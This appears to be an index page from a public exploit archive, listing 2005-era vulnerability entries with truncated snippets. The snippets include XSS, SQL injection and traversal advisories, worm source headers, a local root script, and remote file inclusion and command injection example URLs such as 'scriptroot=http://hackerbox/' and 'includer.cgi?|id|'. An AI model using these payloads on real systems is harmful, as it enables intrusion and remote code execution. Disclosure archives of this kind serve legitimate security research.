Subscribe Me Pro 2.44 - S.pl Directory Traversal

source: https://www.securityfocus.com/bid/14817/info Subscribe Me Pro is prone to a directory traversal vulnerability. This is due to a lack of proper sanitization of user-supplied input. Exploitation of this vulnerability could lead to a loss of confidentiality as arbitrary files are disclosed t...

FlatNuke 2.5.6 - ID Directory Traversal

FlatNuke 2.5.6 - ID Directory Traversal source: https://www.securityfocus.com/bid/14702/info FlatNuke is prone to a directory traversal vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. An unauthorized user can retrieve arbitrary files by...

Ventrilo 2.3.0 (All Platforms) - Remote Denial of Service

/ by Luigi Auriemma Windows compiled version: http://aluigi.altervista.org/poc/ventboom.zip /str0ke / include include include / Ventrilo UDP status algorithm 0.1 by Luigi Auriemma e-mail: [email protected] web: http://aluigi.altervista.org INTRODUCTION ============ This algorithm is the method...

Jax PHP Scripts 1.01.342.143.31 - dwt_editor.php Multiple Cross-Site Scripting Vulnerabilities

Jax PHP Scripts 1.01.342.143.31 - dwteditor.php Multiple Cross-Site Scripting Vulnerabilities source: https://www.securityfocus.com/bid/14481/info Jax PHP Scripts are affected by multiple cross-site scripting vulnerabilities. These issues are due to a failure in the applications to properly...

ATutor 1.4.3 - '/inbox/index.php?view' Cross-Site Scripting

source: https://www.securityfocus.com/bid/13972/info ATutor is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. An attacker may leverage any of these issues to have arbitrary script code executed...

Adobe Acrobat 7.0 Adobe Reader 7.0 - File Existence File Disclosure

Adobe Acrobat 7.0 Adobe Reader 7.0 - File Existence File Disclosure source: https://www.securityfocus.com/bid/13962/info Adobe Acrobat and Adobe Reader may allow remote attackers to determine the existence of files on a vulnerable computer. This issue can be used to disclose data from a target fi...

ZeroBoard - Worm Source Code

/ The worm exploits a vulnerability in ZeroBoard, allowing an attacker to inject arbitrary PHP code. /str0ke / / ZeroBoard -1day INE w0rm / include include include include include include include include include ifdef sun include endif / SunOS / define DEBUGING undef DEBUGING define TMPFILE...

ZeroBoard Worm Source Code

No description provided by source. / The worm exploits a vulnerability in ZeroBoard, allowing an attacker to inject arbitrary PHP code. /str0ke / / ZeroBoard -1day INE w0rm / include stdio.h include unistd.h include stdlib.h include sys/socket.h include netdb.h include netinet/in.h include signal...

ASPNuke 0.80 - 'Comments.asp' SQL Injection

source: https://www.securityfocus.com/bid/13315/info ASPNuke is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. Successful exploitation could result in a compromise of the...

RadScripts RadBids Gold 2.0 - 'faq.php?farea' Cross-Site Scripting

source: https://www.securityfocus.com/bid/13080/info RadBids Gold is reported prone to multiple vulnerabilities. These issues include arbitrary file disclosure, cross-site scripting, and SQL injection. The following specific vulnerabilities were identified: A remote attacker can disclose arbitrar...

PhotoPost Pro 5.1 - 'Slideshow.php?photo' Cross-Site Scripting

source: https://www.securityfocus.com/bid/12920/info Multiple input validation vulnerabilities reportedly affect PhotoPost Pro. These issues are due to a failure of the application to properly sanitize user-supplied input prior to using it to carry out critical actions. The first set of issues ar...

AIX 5.3.0 - 'invscout' Local Command Execution

!/usr/bin/sh r00t exploit written for the invscout bug reported by Idefense labs http://www.idefense.com/application/poi/display?id=171&type=vulnerabilities coded by ri0t exploitation is trivial but automated with this script www.ri0tnet.net usage ./getr00t.sh : exploitation gives euidroot from...

PHPMyDirectory 10.1.3 - 'review.php' Multiple Cross-Site Scripting Vulnerabilities

source: https://www.securityfocus.com/bid/12900/info phpMyDirectory is prone to a cross-site scripting vulnerability. The problem presents itself when malicious HTML and script code is sent to the application through various parameters of the 'review.php' script. This issue may allow for theft of...

MCPWS Personal WebServer <= 1.3.21 Denial of Service Exploit

Exploit for unknown platform in category dos / poc ============================================================ MCPWS Personal WebServer \n"; exit1; system "clear"; $server = $ARGV0; system "clear"; print "- MCPWS Personal-Web Server new Proto = "tcp", PeerAddr = "$server", PeerPort = "80"; unles...

PostScript Utilities - psnup Local Buffer Overflow

PostScript Utilities - psnup Local Buffer Overflow !/usr/bin/perl PostScript Utilities - psnup all the utilities of the package are vulnerable written by lammat just for practice purposes tested against psutils-p17 gdb r -8 perl -e 'print "A"x250' The program being debugged has been started...

knowledgeBuilder.txt

Remote File Inclusion KnowledgeBase Vendor: www.activecampaign.com/kb/ Well, inside the index.php file we can see: if $page == "" $page = "startup"; @include"$page.php"; ? After I tested some sites with kb I got file inclusion: http://www.site.com/kb/index.php?page=http://file DominusVis Infektio...

Download Center Lite (DCL) 1.5 - Remote File Inclusion

Example: if registerglobals=on and allowurlfopen=on: http://victim/dir/inc/downloadcenterlite.inc.php?scriptroot=http://hackerbox/ milw0rm.com 2005-03-10...

The Includer CGI 1.0 - Remote Command Execution (1)

Remote Command Execution on: Example I.: www.host-vulnerable.com/includer.cgi?|id| Example II.: www.host-vulnerable.com/includer.cgi?template=|id| milw0rm.com 2005-03-07...

PHP Form Mail 2.3 - Arbitrary File Inclusion

Example: if registerglobals=on and allowurlfopen=on: http://victim/dir/inc/formmail.inc.php?scriptroot=http://hackerbox/ milw0rm.com 2005-03-05...

calicserv_getconfig.pm

This file is part of the Metasploit Framework and may be redistributed according to the licenses defined in the Authors field below. In the case of an unknown or missing license, this file defaults to the same license as the core Framework dual GPLv2 and Artistic. The latest version of the...